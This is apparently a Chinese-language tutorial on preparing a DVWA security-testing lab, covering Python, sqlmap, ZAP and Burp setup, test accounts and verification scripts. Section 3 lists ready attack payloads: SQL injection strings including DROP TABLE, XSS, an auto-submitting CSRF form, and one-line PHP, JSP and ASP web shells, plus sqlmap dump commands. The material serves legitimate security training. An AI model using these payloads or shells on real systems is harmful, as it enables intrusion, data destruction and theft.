Skip to content

DVWA安全测试项目准备

1. 项目概述

1.1 项目背景

DVWA (Damn Vulnerable Web Application) 是一个故意设计成易受攻击的 Web 应用程序,用于帮助安全专业人员和开发者了解常见的 Web 应用安全漏洞。本项目旨在通过系统性的安全测试,发现和验证DVWA平台中的各种安全漏洞,为安全学习和测试提供实践环境。

1.2 项目目标

  • 学习目标:通过实际操作学习Web应用安全漏洞的发现和利用方法
  • 测试目标:验证DVWA平台中各种安全漏洞的存在和影响
  • 技能目标:提升安全测试技能和工具使用能力
  • 实践目标:建立完整的安全测试流程和方法论

1.3 项目范围

1.3.1 测试范围

  • OWASP Top 10:覆盖所有OWASP Top 10安全威胁
  • 常见漏洞:SQL注入、XSS、CSRF、文件上传等
  • 系统安全:访问控制、身份认证、会话管理等
  • 配置安全:系统配置、组件安全等

1.3.2 工具范围

  • 漏洞扫描工具:sqlmap、OWASP ZAP、Nessus等
  • 渗透测试工具:Burp Suite、Metasploit、Nmap等
  • 开发环境:Python、Java、各种IDE等
  • 测试环境:DVWA在线演练环境

2. 环境准备

2.1 DVWA 在线演练环境

2.1.1 环境信息

  • 在线演练环境地址http://192.168.20.30:4280/
  • 默认用户名:admin
  • 默认密码:password
  • 安全级别:Low/Medium/High/Impossible
  • 数据库:MySQL
  • Web服务器:Apache

2.1.2 环境配置

  1. 访问环境:通过浏览器访问DVWA在线环境
  2. 登录系统:使用默认账户登录
  3. 设置安全级别:根据需要调整安全级别
  4. 验证环境:确认所有功能模块正常可用

2.1.3 环境特点

  • 故意设计:故意包含各种安全漏洞
  • 教学友好:提供详细的学习资料和示例
  • 实时反馈:提供即时的攻击结果反馈
  • 安全级别:支持多种安全级别设置

2.2 Python 环境

2.2.1 Python 安装(Windows)

下载 Python 解释器

下载地址

通过下载页面,可以在该页面上看到下载链接。

在下载列表中以"(64-bit)"结尾的链接是 64 位的 Python 安装程序,以"(32-bit)"开头的链接是 32 位的 Python 安装程序 。现在大部分电脑的 Windows 系统都是 64 位的。

需要注意的是,此安装包已经不再支持 Windows7 系统版本,最好是使用 Win10 或者更新的版本。

下载完成后会得到 Python-3.10.11-amd64.exe 安装文件 。

安装 Python 解释器
  1. 双击 Python-x.x.x-amd64.exe 文件,系统将会开启 Python 安装向导

  2. 勾选 Add Python.exe to PATH 复选框 ,可以将 Python 命令工具所在 目录 添加到系统 Path 环境变量中

  3. 单击Customize installation,可以在安装时指定自定义的安装路径。 单击该选项即可开始安装。

  4. 在接下来的安装界面中只要改变 Python 的安装路径(建议安装在指定盘符的根路径下,比如 安装在 D:\Python 目录下), 其他地方使用默认选项即可。

检查安装结果

安装完成后,启动 Windows 的命令行 cmd 程序 , 在命令行窗口中输入Python命令(字母 p 是小写的)。

如果出现 Python 提示符(>>>),就说明安装成功了 。

2.2.2 Python 环境配置

虚拟环境创建
# 创建虚拟环境
python -m venv dvwa_test_env

# 激活虚拟环境(Windows)
dvwa_test_env\Scripts\activate

# 激活虚拟环境(Linux/Mac)
source dvwa_test_env/bin/activate
依赖包安装
# 安装基础依赖
pip install requests
pip install beautifulsoup4
pip install selenium
pip install pytest
pip install sqlmap

2.3 安全测试工具环境

2.3.1 sqlmap 安装

下载

点击下载,这里下载的是 zip 文件。

先解压,然后 cmd 到命令行找到该文件夹。

直接运行 sqlmap,-h 是显示帮助。

这样就说明可以正常使用了正常的使用规则就是如此找到文件夹,python ./sqlmap.py -h 为查看帮助,使用同理。

基本使用
# 基本扫描
python sqlmap.py -u "http://target.com/page.php?id=1"

# 详细扫描
python sqlmap.py -u "http://target.com/page.php?id=1" --dbs

# 获取表信息
python sqlmap.py -u "http://target.com/page.php?id=1" -D database_name --tables

# 获取列信息
python sqlmap.py -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns

# 获取数据
python sqlmap.py -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column_name --dump

2.3.2 OWASP ZAP 安装

下载安装
  1. 访问 OWASP ZAP 官网:https://www.zaproxy.org/
  2. 下载适合操作系统的版本
  3. 解压到指定目录
  4. 运行 zap.bat(Windows)或 zap.sh(Linux/Mac)
基本配置
  1. 代理设置:配置浏览器代理到 ZAP
  2. 扫描配置:设置扫描策略和参数
  3. 认证配置:配置登录认证信息
  4. 报告配置:设置报告生成参数

2.3.3 Burp Suite 安装

下载安装
  1. 访问 PortSwigger 官网:https://portswigger.net/burp
  2. 下载 Community Edition(免费版)
  3. 安装并启动 Burp Suite
  4. 配置浏览器代理
基本使用
  1. 代理拦截:配置浏览器代理拦截请求
  2. 漏洞扫描:使用 Scanner 模块进行扫描
  3. 手动测试:使用 Repeater 模块进行手动测试
  4. 报告生成:生成详细的测试报告

3. 测试数据准备

3.1 用户数据

3.1.1 测试账户

用户名 密码 权限级别 用途
admin password 管理员 完整功能测试
test test 普通用户 权限控制测试
guest guest 访客 访问限制测试

3.1.2 测试用户创建

-- 创建测试用户
INSERT INTO users (user_id, first_name, last_name, user, password, avatar, last_login, failed_login) 
VALUES (1, 'admin', 'admin', 'admin', '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8', NULL, NULL, 0);

INSERT INTO users (user_id, first_name, last_name, user, password, avatar, last_login, failed_login) 
VALUES (2, 'test', 'user', 'test', '098f6bcd4621d373cade4e832627b4f6', NULL, NULL, 0);

3.2 攻击向量数据

3.2.1 SQL注入攻击向量

# SQL注入测试数据
sql_injection_payloads = [
    # 基础注入
    "1' OR '1'='1",
    "1' OR '1'='1'--",
    "1' OR '1'='1'#",

    # 联合查询注入
    "1' UNION SELECT username,password FROM users--",
    "1' UNION SELECT NULL,username FROM users--",

    # 布尔盲注
    "1' AND (SELECT COUNT(*) FROM users)>0--",
    "1' AND (SELECT LENGTH(username) FROM users WHERE user_id=1)>5--",

    # 时间盲注
    "1'; WAITFOR DELAY '00:00:05'--",
    "1'; SELECT SLEEP(5)--",

    # 堆叠查询注入
    "1'; DROP TABLE users;--",
    "1'; INSERT INTO users VALUES(999,'hacker','hacker','hacker','password');--"
]

3.2.2 XSS攻击向量

# XSS测试数据
xss_payloads = [
    # 基础XSS
    "<script>alert('XSS')</script>",
    "<script>alert(document.cookie)</script>",

    # 事件处理器XSS
    "<img src=x onerror=alert('XSS')>",
    "<svg onload=alert('XSS')>",

    # 编码绕过XSS
    "%3Cscript%3Ealert('XSS')%3C/script%3E",
    "&#60;script&#62;alert('XSS')&#60;/script&#62;",

    # 存储型XSS
    "<iframe src='javascript:alert(\"XSS\")'></iframe>",
    "<body onload=alert('XSS')>",

    # 过滤绕过XSS
    "<ScRiPt>alert('XSS')</ScRiPt>",
    "<script>alert(String.fromCharCode(88,83,83))</script>"
]

3.2.3 CSRF攻击向量

<!-- CSRF攻击示例 -->
<form action="http://target.com/update" method="POST">
    <input name="email" value="attacker@evil.com">
    <input name="password" value="hacked123">
</form>
<script>document.forms[0].submit()</script>

<!-- 图片CSRF攻击 -->
<img src="http://target.com/delete?id=1" width="0" height="0">

3.2.4 文件上传攻击向量

# 恶意文件内容
malicious_files = {
    'php_shell.php': '<?php system($_GET["cmd"]); ?>',
    'jsp_shell.jsp': '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>',
    'asp_shell.asp': '<% eval request("cmd") %>',
    'fake_image.php': 'GIF89a<?php system($_GET["cmd"]); ?>'
}

3.3 测试场景数据

3.3.1 测试场景配置

# 测试场景配置
test_scenarios = {
    'sql_injection': {
        'target_url': 'http://target.com/vulnerabilities/sqli/',
        'parameters': ['id', 'name', 'search'],
        'methods': ['GET', 'POST'],
        'expected_results': ['error', 'data_leak', 'time_delay']
    },
    'xss': {
        'target_url': 'http://target.com/vulnerabilities/xss_r/',
        'parameters': ['name', 'message', 'search'],
        'methods': ['GET', 'POST'],
        'expected_results': ['script_execution', 'html_injection']
    },
    'csrf': {
        'target_url': 'http://target.com/vulnerabilities/csrf/',
        'parameters': ['password_new', 'password_conf'],
        'methods': ['POST'],
        'expected_results': ['password_change', 'unauthorized_action']
    }
}

4. 工具配置

4.1 浏览器配置

4.1.1 Chrome 配置

  1. 安装扩展
  2. FoxyProxy:代理管理
  3. User-Agent Switcher:用户代理切换
  4. Web Developer:Web开发工具

  5. 代理设置

  6. HTTP代理:127.0.0.1:8080
  7. HTTPS代理:127.0.0.1:8080
  8. 绕过代理:localhost, 127.0.0.1

  9. 安全设置

  10. 禁用同源策略(仅测试环境)
  11. 允许不安全内容
  12. 禁用弹出窗口阻止程序

4.1.2 Firefox 配置

  1. 安装扩展
  2. FoxyProxy Standard
  3. User-Agent Switcher
  4. Web Developer

  5. 代理设置

  6. 手动代理配置
  7. HTTP代理:127.0.0.1:8080
  8. HTTPS代理:127.0.0.1:8080

4.2 网络配置

4.2.1 代理配置

# 设置HTTP代理
export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080

# 设置代理(Windows)
set http_proxy=http://127.0.0.1:8080
set https_proxy=http://127.0.0.1:8080

4.2.2 防火墙配置

# 允许本地代理端口
sudo ufw allow 8080
sudo ufw allow 8081

# 允许测试端口
sudo ufw allow 80
sudo ufw allow 443

4.3 测试脚本配置

4.3.1 Python 测试脚本

# test_config.py
import os

# 测试配置
TEST_CONFIG = {
    'target_url': 'http://target.com',
    'proxy': 'http://127.0.0.1:8080',
    'timeout': 30,
    'retry_count': 3,
    'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'headers': {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'keep-alive'
    }
}

# 日志配置
LOG_CONFIG = {
    'level': 'INFO',
    'format': '%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    'file': 'dvwa_test.log'
}

4.3.2 测试用例配置

# test_cases.py
TEST_CASES = {
    'sql_injection': {
        'name': 'SQL注入测试',
        'priority': 'P0',
        'payloads': sql_injection_payloads,
        'expected_results': ['error', 'data_leak', 'time_delay']
    },
    'xss': {
        'name': 'XSS测试',
        'priority': 'P0',
        'payloads': xss_payloads,
        'expected_results': ['script_execution', 'html_injection']
    },
    'csrf': {
        'name': 'CSRF测试',
        'priority': 'P1',
        'payloads': csrf_payloads,
        'expected_results': ['unauthorized_action']
    }
}

5. 环境验证

5.1 环境检查清单

5.1.1 基础环境检查

  • Python 环境安装完成
  • 虚拟环境创建成功
  • 依赖包安装完成
  • DVWA 环境可正常访问
  • 浏览器代理配置正确

5.1.2 工具环境检查

  • sqlmap 可正常运行
  • OWASP ZAP 可正常启动
  • Burp Suite 可正常使用
  • 代理拦截功能正常
  • 测试脚本可正常执行

5.1.3 网络环境检查

  • 网络连接正常
  • 代理设置正确
  • 防火墙配置正确
  • DNS 解析正常
  • SSL 证书验证正常

5.2 功能验证

5.2.1 DVWA 功能验证

# DVWA功能验证脚本
import requests

def verify_dvwa_environment():
    """验证DVWA环境是否正常"""
    try:
        # 访问DVWA首页
        response = requests.get('http://target.com')
        assert response.status_code == 200

        # 登录测试
        login_data = {
            'username': 'admin',
            'password': 'password',
            'Login': 'Login'
        }
        response = requests.post('http://target.com/login.php', data=login_data)
        assert 'Welcome to the password protected area' in response.text

        print("DVWA环境验证成功")
        return True
    except Exception as e:
        print(f"DVWA环境验证失败: {e}")
        return False

5.2.2 工具功能验证

# 工具功能验证
def verify_tools():
    """验证安全测试工具是否正常"""
    tools_status = {}

    # 验证sqlmap
    try:
        import subprocess
        result = subprocess.run(['python', 'sqlmap.py', '--version'], 
                              capture_output=True, text=True)
        tools_status['sqlmap'] = 'OK' if result.returncode == 0 else 'FAIL'
    except:
        tools_status['sqlmap'] = 'FAIL'

    # 验证requests
    try:
        import requests
        tools_status['requests'] = 'OK'
    except:
        tools_status['requests'] = 'FAIL'

    return tools_status

6. 安全注意事项

6.1 测试环境安全

6.1.1 环境隔离

  • 网络隔离:确保测试环境与生产环境隔离
  • 数据隔离:使用测试数据,避免使用生产数据
  • 权限隔离:限制测试环境的访问权限
  • 时间隔离:在非业务时间进行测试

6.1.2 数据保护

  • 敏感数据:避免在测试中使用真实敏感数据
  • 数据备份:定期备份测试环境数据
  • 数据清理:测试完成后清理敏感数据
  • 数据加密:对敏感数据进行加密存储

6.2 法律合规

6.2.1 授权测试

  • 明确授权:确保获得明确的测试授权
  • 范围限制:严格按照授权范围进行测试
  • 时间限制:在授权时间内进行测试
  • 结果保密:对测试结果进行保密处理

6.2.2 合规要求

  • 法律法规:遵守相关法律法规
  • 行业标准:符合行业安全标准
  • 公司政策:遵循公司安全政策
  • 道德准则:遵守安全测试道德准则

7. 故障排除

7.1 常见问题

7.1.1 环境问题

问题:DVWA 无法访问 解决方案: 1. 检查网络连接 2. 验证URL地址 3. 检查防火墙设置 4. 确认服务状态

问题:Python 环境错误 解决方案: 1. 检查Python版本 2. 验证虚拟环境 3. 重新安装依赖包 4. 检查环境变量

7.1.2 工具问题

问题:sqlmap 无法运行 解决方案: 1. 检查Python环境 2. 验证sqlmap路径 3. 检查依赖包 4. 查看错误日志

问题:代理拦截失败 解决方案: 1. 检查代理设置 2. 验证端口配置 3. 检查防火墙 4. 重启代理服务

7.2 日志分析

7.2.1 错误日志

# 日志分析脚本
import logging

def analyze_logs(log_file):
    """分析测试日志"""
    with open(log_file, 'r') as f:
        logs = f.readlines()

    error_count = 0
    warning_count = 0

    for log in logs:
        if 'ERROR' in log:
            error_count += 1
        elif 'WARNING' in log:
            warning_count += 1

    print(f"错误数量: {error_count}")
    print(f"警告数量: {warning_count}")

8. 总结

DVWA安全测试项目准备涵盖了完整的环境搭建、工具配置、数据准备和验证流程,为安全测试提供了坚实的基础。

通过系统性的环境准备,确保了测试环境的稳定性和可靠性,为后续的安全测试工作提供了有力支撑。

遵循安全测试的最佳实践,建立了完善的安全防护措施,确保测试过程安全可控。

通过详细的故障排除指南,提高了问题解决效率,确保测试工作顺利进行。